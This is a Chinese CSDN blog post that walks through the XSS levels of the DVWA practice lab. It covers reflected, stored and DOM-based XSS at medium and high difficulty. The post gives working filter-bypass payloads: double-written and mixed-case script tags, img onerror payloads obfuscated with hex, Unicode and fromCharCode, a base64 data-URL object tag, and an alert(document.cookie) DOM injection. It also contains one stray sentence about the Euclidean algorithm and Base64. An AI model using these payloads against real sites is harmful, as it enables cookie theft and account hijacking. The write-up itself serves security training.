dvwa靶场xss通关

本文详细探讨了XSS漏洞的形成原因、防御措施,包括输入过滤、输出编码和安全编程原则,并介绍了DVWA靶场中不同模式下的XSS攻击类型,如反射型、存储型和DOM型,以及相应的绕过技巧和防御挑战。
摘要由CSDN通过智能技术生成

原理

        XSS漏洞是攻击者将恶意代码注入到合法网页中,当用户浏览该页面时,恶意代码会被执行,从而获取用户敏感信息或进行其他攻击。

形成原因

        网站对用户输入数据的过滤不严格或不完备,攻击者可以根据这个漏洞向网站提交恶意代码,然后再将这些代码传播给其他用户,从而造成危害。

防御措施

  • 输入过滤:在网站接收用户输入数据之前,需要对输入数据进行过滤。例如,可以使用编码标记来过滤HTML、JavaScript和CSS等标记语言。
  • 输出编码:对于显示在页面上的输入内容,需要进行输出编码,以避免JavaScript脚本的注入攻击。例如,可以使用Escape函数或EncodeURIComponent函数来对特殊字符进行编码。
  • cookie安全:通过对Cookie的设置来限制客户端对Cookie的读取和修改。例如,使用HttpOnly标志可以禁止脚本访问Cookie,从而有效降低攻击的风险。
  • 安全编程:开发人员应该牢记安全编程的原则,例如使用白名单验证策略、禁止直接操作DOM等规则,以避免开发过程中出现安全漏洞。

突破方式

  • 利用漏洞:攻击者使用已知的或未公开的漏洞来突破网站的XSS防御措施,从而成功注入恶意脚本。
  • 钓鱼式攻击(Phishing):攻击者通过伪造合法的邮件、网站、电话等方式引诱用户主动点击链接进入钓鱼网站,并注入恶意脚本,从而突破XSS防御系统。
  • 反射型XSS攻击:攻击者向目标网站提交恶意脚本,然后将脚本放在URL中传递给受害用户,当用户访问这个URL时,恶意脚本就会被执行,攻击成功。
  • 存储型XSS攻击:攻击者将恶意脚本存储到目标网站的数据库中,在用户访问受影响的页面时,恶意脚本会从服务器端传递给用户并在用户浏览器上执行。—辗转相除法。(本质上Base64编码是64进制,Base58编码是58进制)

        下面我们给出dvwa靶场的通关操作【其中前提为已经搭建好攻防环境,可以参考:DVWA靶场搭建

靶场通关

1、XSS Reflected反射型

        Medium中等

源代码如上所示,这里很明显看得出来,是对script字符进行了过滤,使用str_replace()函数将输入中的script替换成为空,于是需要我们想办法绕过过滤字符。

第一种,多写绕过,代码如下所示:

<scr<script>ipt>alert(/xss/)</script>

第二种,大小写绕过,代码如下:

<ScRipt>alert(/xss/)</ScRipt>

        High模式

针对特殊符号,均有过滤,使得双写绕过以及大小写混淆绕过失效。(正则表达式中的i表示不区分大小写)。

script标签失效,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。

绕过1:img标签转换后的XSS PAYLOAD,<img src = 1 onerror = alert(/xss/)>

并且成功后会显示一个图片的形式。

其余方式:

<img src=1 οnerrοr=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

<img src=1 οnerrοr=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img>

<imgsrc=1 οnerrοr=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029")></img>

方式2:data url进行xss

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

其中的“PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=”就等同于“<script>alert('xss')</script>”

2、XSS Store模式

        Medium格式

strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签。

addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。

并且message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了<script>,仍然存在存储型的XSS。

name框限制了输入长度,解决方式为修改maxlength的大小。

绕过方式,类似于反射型XSS,1.双写绕过。2.大小写混淆绕过。3.使用非script标签的xss payload。

所以这里先修改name的最大长度,之后可以在name处注入xss攻击代码。

High模式

虽然使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS,操作类似于反射型XSS的high

3、DOM 型XSS

        Medium

从代码中可以看到,对<script>进行了过滤,并且将default的值设置为English。这里的script还设置了大小写绕过。

可以使用img标签来进行绕过。这里需要把option标签进行闭合才能发出。前面的low是利用设置default的值,把值进行url解码,然后在option标签中显示。而option标签中是不允许存在img图片标签的,所有需要闭合标签后才能触发。

我们可以直接注入标签将 cookie 显示出来。HTML 的 < img > 标签定义 HTML 页面中的图像,该标签支持 onerror 事件,在装载文档或图像的过程中如果发生了错误就会触发。使用这些内容构造出 payload 如下:

English</option></select><img src = 1 onerror = alert(document.cookie)>

方式2:“#”在PHP中,“#”后边是不接受的所以这里也可以绕过。

        High模式

default变量中的值,只允许FrenchEnglishGermanSpanish中的一种才行,否则就会跳转结束运行。

这里的攻击方式和Medium相同。

  • 15
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值